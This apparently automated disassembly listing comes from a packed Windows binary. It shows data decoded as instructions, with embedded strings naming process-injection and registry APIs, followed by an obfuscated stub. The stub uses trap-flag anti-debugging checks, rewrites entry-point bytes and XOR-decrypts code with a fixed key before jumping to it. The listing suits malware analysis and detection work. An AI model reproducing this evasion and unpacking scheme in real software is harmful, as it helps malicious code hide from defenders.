Function at 0x408b5b
Capabilities:
Encode data using xor

Disassembly:
dec esp
add dword [eax], edx
add byte [eax], al
add byte [eax], al
sub al, byte [eax]
push edi
push ebx
inc ecx
inc ebx
insb byte es:[edi], dx
popal
outsb dx, byte [esi]
jne 0x40847c
add byte [eax], al
stc
add esi, dword [eax]
add byte [edi + 0x53], dl
inc ecx
push ebx
je 0x408479
jb 0x40848e
jne 0x40848c
add byte [eax], al
inc ecx
add esi, dword [edi]
add byte [ebx + 0x6c], ah
outsd dx, dword [esi]
jae 0x40848c
jae 0x408498
arpl word [ebx + 0x65], bp
je 0x40842e
inc ecx
add edi, dword [eax]
add byte [ebx + 0x6f], ah
outsb dx, byte [esi]
outsb dx, byte [esi]
arpl word gs:[eax + eax + 0x41], si
add edi, dword [ebx]
add byte [edi + 0x65], ah
je 0x4084aa
outsd dx, dword [esi]
jae 0x4084b9
bound edi, qword [ecx + 0x6e]
popal
insd dword es:[edi], dx
add byte gs:[esi], al
push 0x736e6f74
add byte [edi], al
imul ebp, dword [esi + 0x65], 0x64615f74
jb 0x408460
dec edi
add byte [edx + 0x65], dh
arpl word [esi], si
add byte [ebp], dl
jae 0x4084d1
outsb dx, byte [esi]
add byte fs:[eax], al
pop edx
add byte [ebx + 0x6f], dh
arpl word [ebx + 0x65], bp
je 0x408479
add byte [ebx - 0x7f], bh
add byte [ebp + 0x78], al
imul esi, dword [eax + edx*2 + 0x72], 0x7365636f
add dword [eax], 0x74697845
push eax
jb 0x4084f4
arpl word [ebp + 0x73], sp
jae 0x40848a
push ecx
or al, 0x94
xchg esp, eax
add byte [esi + 0x69], al
outsb dx, byte [esi]
inc esi
imul esi, dword [edx + 0x73], 0x6c694674
inc ecx
add byte [eax], al
add eax, 0x46009d05
imul ebp, dword [esi + 0x64], 0x7478654e
inc esi
imul ebp, dword [esi + 0x64], 0x73726946
je 0x4084de
imul ebp, dword [ebp + 0x41], 0x5050000
popfd
add byte [esi + 0x69], al
outsb dx, byte [esi]
dec esi
js 0x40851e
inc esi
imul ebp, dword [ebp + 0x41], 0x4600b400
jb 0x40851a
dec esp
imul esp, dword [edx + 0x72], 0x797261
lcall 0x7465, 0x4700ca40
inc ebx
jb 0x40851c
jb 0x408536
add byte [edx + 0x4700ca40], bl
je 0x408509
outsd dx, dword [esi]
insd dword es:[edi], dx
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
dec esp
imul ebp, dword [esi + 0x65], 0x80410041
add byte [ecx - 0x80], al
fld qword [eax]
inc edi
je 0x40851d
jne 0x40854e
jb 0x408543
outsb dx, byte [esi]
je 0x408531
jb 0x408552
arpl word [ebp + 0x73], sp
jae 0x4084e8
clc
add byte [edi + 0x65], al
je 0x408534
imul ebp, dword [ebp + 0x53], 0x657a69
pop ds
add byte gs:[edi], bl
pop eax
or al, byte [ecx]
inc edi
je 0x40854b
outsd dx, dword [esi]
jne 0x40856e
inc esi
imul ebp, dword [ebp + 0x4e], 0x41656d61
insd dword es:[edi], dx
inc ecx
add byte [eax], al
mov edi, 0x47010cfc
je 0x408563
outsd dx, dword [esi]
jne 0x408586
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
inc ecx
add byte [eax], al
sbb eax, dword [eax]
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x408590
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
add byte gs:[edi + 0x7c], bl
add byte [edi + 0x7c], bl
and al, byte [ecx]
inc edi
je 0x40858a
jb 0x4085ab
arpl word [ecx + 0x64], ax
jb 0x4085a7
jae 0x4085b7
jae 0x408545
add byte [eax], al
cmp eax, 0x47013f79
add byte [0x47013f79], bh
je 0x4085a1
jns 0x4085c3
je 0x4085b7
insd dword es:[edi], dx
inc esp
imul esi, dword [edx + 0x65], 0x726f7463
jns 0x40859e
add bh, bh
push es
push ebp
add dword [edi + 0x65], eax
je 0x4085ba
je 0x4085ba
imul esp, dword [ebx + 0x6b], 0x6e756f43
je 0x40856f
add byte [eax], al
add dword gs:[edi + 0x65], eax
je 0x4085cd
add byte [ebp + 1], ah
inc edi
je 0x4085cd
imul ebp, dword [esi + 0x64], 0x4473776f
imul esi, dword [edx + 0x65], 0x726f7463
jns 0x4085c7
add byte [eax], al
and eax, 0x706f4300
jns 0x4085d5
inc ebx
outsd dx, dword [esi]
jo 0x408607
inc esi
imul ebp, dword [ebp + 0x41], 0x49019800
jae 0x4085db
insb byte es:[edi], dx
inc ecx
add byte [eax + 0x42734901], bl
popal
push edx
popal
push eax
je 0x408614
jb 0x4085a3
add byte [eax], al
cmpsd dword [esi], dword es:[edi]
add dword [edi + ebp*2 + 0x61], ecx
add byte [edi + 0x616f4c01], ah
outsd dx, dword [esi]
popal
dec esp
imul esp, dword [edx + 0x72], 0x41797261
add byte [eax], al
mov ebp, 0x70614d01
push esi
popal
jo 0x408610
imul esp, dword [ebp + 0x77], 0x6946664f
insb byte es:[edi], dx
add dl, dl
add dl, dl
add dword [edi + 0x70], ecx
outsb dx, byte gs:[esi]
dec edi
jo 0x40862e
outsb dx, byte [esi]
dec ebp
jne 0x408641
js 0x408611
add byte [eax], al
sbb cl, dl
aam 1
dec edi
jo 0x40863e
add dword [edi + 0x70], ecx
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
push eax
jb 0x40864c
arpl word [ebp + 0x73], sp
jae 0x4085e2
cld
jae 0x4085c6
add dword [eax + 0x72], edx
outsd dx, dword [esi]
arpl word [ebp + 0x73], sp
jae 0x408621
xor al, byte [esi + 0x69]
jb 0x408666
je 0x4085f5
add ch, bl
mov fs, ebx
add dword [eax + 0x72], edx
outsd dx, dword [esi]
arpl word [ebp + 0x73], sp
jae 0x408635
xor cl, byte [esi + 0x65]
js 0x40867b
add byte [ecx], dh
add byte [ebx + 0x72], al
popal
je 0x408675
inc esi
imul ebp, dword [ebp + 0x41], 0xfafc2500
add dword [edx + 0x65], edx
popal
inc ecx
add byte [0x5201fafc], ah
popal
inc esi
imul ebp, dword [ebp], 0x43003200
add byte gs:[eax], al
xor al, byte [eax]
inc ebx
jb 0x40868e
popal
je 0x408691
inc esi
imul ebp, dword [ebp + 0x4d], 0x69707061
insb byte es:[edi], dx
dec ebp
popal
jo 0x4086a4
imul ebp, dword [esi + 0x67], 0xca000041
inc esi
std
add dword [edx + 0x65], edx
popal
outsb dx, byte [esi]
inc ecx
add byte [eax], al
retf 0xfd46
push edx
popal
push eax
jb 0x4086b4
arpl word [ebp + 0x73], sp
jae 0x408697
insd dword es:[edi], dx
outsd dx, dword [esi]
jb 0x4086c8
add byte [eax], al
add dl, byte [edx + 0x65]
insb byte es:[edi], dx
popal
jae 0x4086be
dec ebp
jne 0x4086d0
js 0x40865f
add byte [esi], cl
add dl, byte [edx + 0x74]
insb byte es:[edi], dx
push ebp
outsb dx, byte [esi]
ja 0x4086d2
outsb dx, byte [esi]
add byte fs:[edi], cl
add dl, byte [edx + 0x74]
insb byte es:[edi], dx
pop edx
jb 0x4086e4
dec ebp
insd dword es:[edi], dx
outsd dx, dword [esi]
jb 0x4086f4
add byte [0x74655302], ch
inc ebx
jne 0x4086f6
jb 0x4086eb
outsb dx, byte [esi]
je 0x4086cd
imul esi, dword [edx + 0x65], 0x726f7463
jns 0x4086d3
outsd dx, dword [esi]
jb 0x40870a
inc ecx
add byte [eax], al
xor dword [edx], eax
push ebx
je 0x4086df
outsb dx, byte [esi]
dec edi
inc si
imul ebp, dword [ebp], 0x53023800
cmp byte [edx], al
push ebx
je 0x4086f0
imul ebp, dword [ebp + 0x41], 0x69727474
bound esi, qword [ebp + 0x74]
jae 0x4086f9
je 0x40871b
jae 0x4086f9
add byte [eax], al
mov esi, 0x53023afc
push ebx
je 0x408708
imul ebp, dword [ebp + 0x50], 0x746e696f
jb 0x4086cd
outsb dx, byte [esi]
je 0x408730
jb 0x4086cd
add byte [esi + 0x53025788], bh
push edi
add dl, byte [ebx + 0x65]
je 0x40872a
push ebx
je 0x40872a
push 0x64616572
push eax
jb 0x408747
outsd dx, dword [esi]
jb 0x40874a
je 0x40875c
add byte [eax + eax], bh
cmp al, 0
inc ebx
jb 0x40874e
popal
je 0x408751
dec ebp
dec ebp
jne 0x408763
js 0x408733
js 0x408733
add byte [eax], al
insb byte es:[edi], dx
add dl, byte [ebp + 0x72]
push esp
jb 0x408767
insd dword es:[edi], dx
imul ebp, dword [esi + 0x61], 0x72506574
outsd dx, dword [esi]
arpl word [ebp + 0x73], sp
jae 0x408707
add byte [ebx + 2], bh
jnp 0x40870c
push ebp
outsb dx, byte [esi]
insd dword es:[edi], dx
popal
jo 0x408766
imul esp, dword [ebp + 0x77], 0x6946664f
insb byte es:[edi], dx
add bh, dh
xchg esi, eax
mov al, byte [edx]
push esi
imul esi, dword [edx + 0x74], 0x506c6175
jb 0x408797
je 0x40878f
arpl word [eax + eax], si
leave
add ah, byte [edx + 0x69725702]
mov byte [0x69725702], al
jb 0x40879e
je 0x40879c
inc esi
imul ebp, dword [ebp], 0x72430047
popal
je 0x4087a9
push esp
push 0x64616572
popal
add byte fs:[eax], al
add byte [eax], al
dec edx
add byte [ebx + 0x72], al
popal
inc ebx
jb 0x4087b6
popal
je 0x4087b9
push esp
outsd dx, dword [esi]
outsd dx, dword [esi]
insb byte es:[edi], dx
push 0x33706c65
xor dl, byte [ebx + 0x6e]
xor esi, dword [edx]
push ebx
outsb dx, byte [esi]
popal
jo 0x4087d6
push 0x746f
add byte [eax], al
add byte [esi], dl
push ss
add byte [edi + ebp*2 + 0x61], cl
inc ebx
jne 0x4087e3
jae 0x4087e2
jb 0x4087b6
add byte [esi + 0x5300fefc], bh
je 0x4087d2
imul ebp, dword [ebp + 0x65], 0xff000072
add byte [ebx + 0x69], cl
insb byte es:[edi], dx
insb byte es:[edi], dx
push esp
imul ebp, dword [ebp + 0x65], 0x20072
push edx
imul esi, dword gs:[bp + di + 0x74], 0x6c437265
add byte [edx], al
add byte [edx + 0x65], dl
imul esi, dword [bp + di + 0x74], 0x6c437265
je 0x4087fe
jb 0x4087de
insb byte es:[edi], dx
popal
jae 0x408812
jae 0x4087e1
inc ecx
add byte [eax], al
test dword [esi + 0x20], 0x74654700
dec ebp
jae 0x408820
popal
inc ecx
add byte [edx + edx*4], al
and al, 0
push esp
jb 0x40881a
outsb dx, byte [esi]
jae 0x408828
popal
je 0x408824
dec ebp
jae 0x408836
popal
add byte gs:[bx + si], al
and eax, 0x73694400
jo 0x408830
je 0x408834
push 0x7373654d
dec ebp
jae 0x408849
popal
inc ecx
add byte [eax], al
dec edi
add byte [ebx + 0x72], al
popal
inc ebx
jb 0x408846
popal
je 0x408849
push edi
push edi
imul ebp, dword [esi + 0x64], 0x7845776f
inc ecx
add byte [0x44005b9e], bh
push di
imul ebp, dword [esi + 0x64], 0x7250776f
outsd dx, dword [esi]
arpl word [ecx], ax
add byte [esi + 0x4700a0fc], bh
je 0x40885f
jae 0x408871
jb 0x40885c
popal
insd dword es:[edi], dx
inc ecx
add byte [eax], al
sbb byte [ecx], al
push edx
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x408883
dec ebx
jns 0x408822
jns 0x408822
sub eax, 0x52012ffc
dec edi
das
add dword [edx + 0x65], edx
dec edi
jo 0x408891
outsb dx, byte [esi]
dec ebx
jns 0x408876
inc ebp
js 0x408874
add byte [edi], dh
aaa
add dword [edx + 0x65], edx
push ecx
push edx
push ecx
jne 0x4088a1
jb 0x4088b7
push esi
popal
insb byte es:[edi], dx
jne 0x4088a8
inc ebp
js 0x408887
add byte [eax], al
inc edx
add dword [edx + 0x65], edx
push ebx
je 0x4088a7
popal
insb byte es:[edi], dx
jne 0x4088ba
inc ebp
js 0x408899
add byte [eax], al
invalid
sbb byte [eax], al
pop edi
pop edi
inc edi
je 0x4088b1
popal
imul ebp, dword [esi + 0x41], 0x736772
popfd
add dword [edi + 0x73], ebx
je 0x4088e4
jb 0x4088d6
arpl word [ebp + 0x70], bp
imul eax, dword [eax], 0x7401c700
outsd dx, dword [esi]
jne 0x4088ee
insd dword es:[edi], dx
jo 0x4088df
add byte [eax], al
mov dword [ecx], 0x70756f74
jo 0x4088e5
jb 0x408882
pop ecx
mov esi, eax
add dword [ecx + 0x62], esp
outsd dx, dword [esi]
jb 0x4088ff
bound ebp, qword [edi + 0x72]
je 0x40888c
add byte [0x69786502], al
add eax, 0x69786502
je 0x408893
add byte [eax], cl
add ah, byte [esi + 0x63]
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x408901
add byte [eax], al
and byte [eax + 0x65660209], cl
add ah, byte [esi + 0x65]
outsd dx, dword [esi]
add byte [eax], al
add byte [esi], cl
push cs
add ah, byte [esi + 0x67]
je 0x408922
add byte [edx], dl
add ah, byte [esi + 0x6f]
jo 0x40891b
outsb dx, byte [esi]
add byte [edx + eax], dl
jo 0x408932
je 0x408922
add byte [0x75706602], dl
je 0x40893a
add byte [edi], dl
add ah, byte [esi + 0x72]
popal
add byte fs:[eax], bl
add ah, byte [esi + 0x72]
add byte gs:[eax], al
add byte [eax], al
sbb al, 2
jae 0x408942
imul eax, dword gs:[eax], 0x1e
add byte [esi], bl
add ah, byte [esi + 0x74]
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], ah
add ah, byte [esi + 0x77]
jb 0x408957
je 0x408955
add byte [eax], al
jp 0x408952
dec ecx
add ch, byte [ebp + 0x61]
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [eax], ax
add byte [ecx + 0x28], al
dec esi
sub byte [esi + 2], cl
insd dword es:[edi], dx
insd dword es:[edi], dx
add ch, byte [ebp + 0x65]
insd dword es:[edi], dx
arpl word [ebp + 0x70], bp
add byte [eax], al
mov ebp, 0x6d024f88
insd dword es:[edi], dx
arpl word [eax + 0x79], si
add byte [eax], al
pop ss
push ebx
push ecx
add ch, byte [ebp + 0x65]
insd dword es:[edi], dx
insd dword es:[edi], dx
jae 0x408984
je 0x408921
add byte [edi + ecx], al
add al, 0xf
pop ebx
add dh, byte [edx + 0x61]
imul esi, dword [ebx + 0x65], 0x72025c00
popal
outsb dx, byte [esi]
add byte fs:[eax], al
add byte [eax], al
add dh, byte gs:[ebx + 0x69]
outsb dx, byte [si]
popal
insb byte es:[edi], dx
add byte [eax], al
test dword [ebx], esp
push 2
jae 0x4089b6
popal
outsb dx, byte [esi]
add byte fs:[edx + eax + 0x73], ch
je 0x4089bf
arpl word [ecx + 0x74], sp
add byte [eax], al
cmp eax, 0x73026d43
add dh, byte [ebx + 0x74]
jb 0x4089bd
je 0x4089cb
arpl word [eax + 0x72], bp
add byte [eax], al
inc ecx
push 0x41000072
pop esi
outsb dx, byte [esi]
add dh, byte [ebx + 0x74]
jb 0x4089c9
insd dword es:[edi], dx
jo 0x408969
add dl, al
jnp 0x408970
jae 0x4089e4
jb 0x4089e5
je 0x4089e6
add byte [eax], al
inc ecx
imul esi, dword [edi + 0x73], 0x336b636f
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], 0
add byte [eax], 0
add byte [eax - 0x7fffffc0], al
inc eax
add byte [eax], al
add byte [eax], 0
add byte [eax], 0
add byte [eax], 0
add byte [eax], 0
add byte [eax], 0
add byte [eax], 0
add byte [eax], 0
add byte [eax], 0x4b
inc ebp
push edx
dec esi
inc ebp
dec esp
xor esi, dword [edx]
inc esp
dec esp
dec esp
add byte [eax], al
and eax, dword [ebx + 0x14]
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
adc al, 0x80
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x14
add byte [eax], 0x55
push ebx
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [eax + eax*4], dl
inc eax
add byte [ebp + 0x53], dl
inc ebp
push edx
xor esi, dword [edx]
inc esp
dec esp
dec esp
add byte [eax], al
sub byte [eax - 0x7fd7ffc0], al
inc eax
add byte [eax], ch
add byte [eax], 0x28
add byte [eax], 0x28
add byte [eax], 0x28
add byte [eax], 0x28
add byte [eax], 0x28
add byte [eax], 0x28
add byte [eax], 0x41
inc esp
push esi
inc ecx
push eax
dec ecx
xor esi, dword [edx]
inc esp
dec esp
dec esp
add byte [eax], al
add byte [eax], al
cmp al, 0x80
inc eax
add byte [eax + eax*4], bh
inc eax
add byte [eax + eax*4], bh
inc eax
add byte [eax + eax*4], bh
inc eax
add byte [eax + eax*4], bh
inc eax
add byte [ebx + 0x52], al
push esp
inc esp
dec esp
dec esp
inc esp
dec esp
dec esp
add byte [eax], al
push eax
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x50
add byte [eax], 0x8b
in eax, dx
cld
xchg di, di
xchg cl, cl
jmp 0x408b3b
mov ebp, ebp
nop
jmp 0x408b41
nop
cld
nop
call 0x408b5b
sub dx, 0
xchg dh, dh
add si, 0
or dh, 0
xchg ch, ch
cld
nop
nop
pop ebp
add ebp, 0
add cl, 0
or esp, 0
sub sp, 0
jmp 0x408b6c
nop
nop
sub ebp, 0x401005
sub ah, 0
cld
add ax, 0
jmp 0x408b7f
jmp 0x408b82
push edx
pushfd
pop edx
test dh, 1
jne 0x408b88
pop edx
lea edi, [ebp + 0x4010e2]
push edx
pushfd
pop edx
test dh, 1
jne 0x408b97
pop edx
xchg dx, dx
add edi, 0
xor esi, 0
nop
xchg dl, dl
cld
nop
nop
mov edx, 0x27c
cld
nop
cld
cld
mov cl, byte [edi]
add edi, 0
nop
cld
cld
nop
ror cl, 0x40
jmp 0x408bc1
jmp 0x408bc4
xchg edx, edx
push eax
pushfd
pop eax
test ah, 1
jne 0x408bcc
pop eax
mov esi, esi
mov esi, esi
jmp 0x408bd6
cld
push edx
pushfd
pop edx
test dh, 1
jne 0x408bdd
pop edx
cld
mov ah, ah
nop
cld
nop
nop
mov byte [edi], cl
jmp 0x408bec
jmp 0x408bef
xchg al, al
jmp 0x408bf4
nop
nop
dec edx
push edx
pushfd
pop edx
test dh, 1
jne 0x408bfd
pop edx
xor bp, 0
sub ax, 0
cld
xchg dl, dl
jmp 0x408c0e
nop
cld
inc edi
jmp 0x408c14
xor al, 0
xor edx, 0
nop
cld
nop
cld
nop
test edx, edx
jne 0x408bb2
pushal
mov esi, entry0
mov eax, 0xe750e838
mov dword [esi], eax
mov eax, 0x9b140c45
mov dword [esi + 4], eax
mov eax, 0x6c162c48
mov dword [esi + 8], eax
mov eax, 0x63642809
mov dword [esi + 0xc], eax
mov eax, 0x64346c82
mov dword [esi + 0x10], eax
mov eax, 0x7c347c82
mov dword [esi + 0x14], eax
mov eax, 0x6fa82a80
mov dword [esi + 0x18], eax
popal
jmp 0x408c68
pushal
pushfd
mov esi, entry0
mov edi, esi
mov ecx, 0xcba
mov ebx, 0x6c102809
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
loop 0x408c7b
popfd
popal
jmp 0x408c87
pushal
pushfd
mov esi, str._txPluPl_t
mov edi, esi
mov ecx, 0x6e8
mov ebx, 0x6c102809
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
loop 0x408c9a
popfd
popal
mov edi, 0x4011cb
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add ah, bh
add ecx, 0
jmp 0x408ea9
cld
xchg dl, dl
cld
mov edx, edx
mov esi, esi
jmp 0x408eb4
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408eba
pop ebx
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408ec3
pop ebx
cld
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408ecd
pop ebx
mov dx, dx
cld
nop
xor ax, 0
push eax
pushfd
pop eax
test ah, 1
jne 0x408edf
pop eax
cld
add dh, 0
jmp 0x408ee9
or edi, 0
add edx, 0
xchg ecx, ecx
xchg ebp, ebp
cld
sub si, 0
push edx
pushfd
pop edx
test dh, 1
jne 0x408efe
pop edx
xchg ecx, ecx
sub bp, 0
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f0d
pop ecx
jmp 0x408f13
jmp 0x408f16
jmp 0x408f19
xchg ax, ax
sub sp, 0
or cx, 0
jmp 0x408f27
xchg al, al
jmp 0x408f2c
push eax
pushfd
pop eax
test ah, 1
jne 0x408f32
pop eax
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f3b
pop ecx
xor si, 0
cld
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f49
pop ecx
add esi, 0
xor bl, 0
cld
push eax
pushfd
pop eax
test ah, 1
jne 0x408f59
pop eax
sub cx, 0
sub esi, 0
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f69
pop ecx
nop
xchg ch, ch
nop
xchg bx, bx
sub edx, 0
or di, 0
or al, 0
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408f82
pop ebx
add bp, 0
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f8f
pop ecx
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408f98
pop ebx
push edx
pushfd
pop edx
test dh, 1
jne 0x408fa1
pop edx
sub bx, 0
nop
nop
cld
nop
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al